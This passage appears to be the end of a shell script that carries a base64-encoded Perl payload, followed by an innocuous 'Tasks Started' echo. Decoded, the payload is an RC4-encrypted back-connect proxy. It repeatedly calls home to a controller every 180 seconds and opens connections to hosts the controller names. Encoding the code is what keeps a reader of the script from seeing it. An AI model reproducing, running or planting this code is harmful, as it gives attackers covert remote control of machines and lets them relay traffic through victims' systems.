gDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="
echo "--- Tasks Started ---"
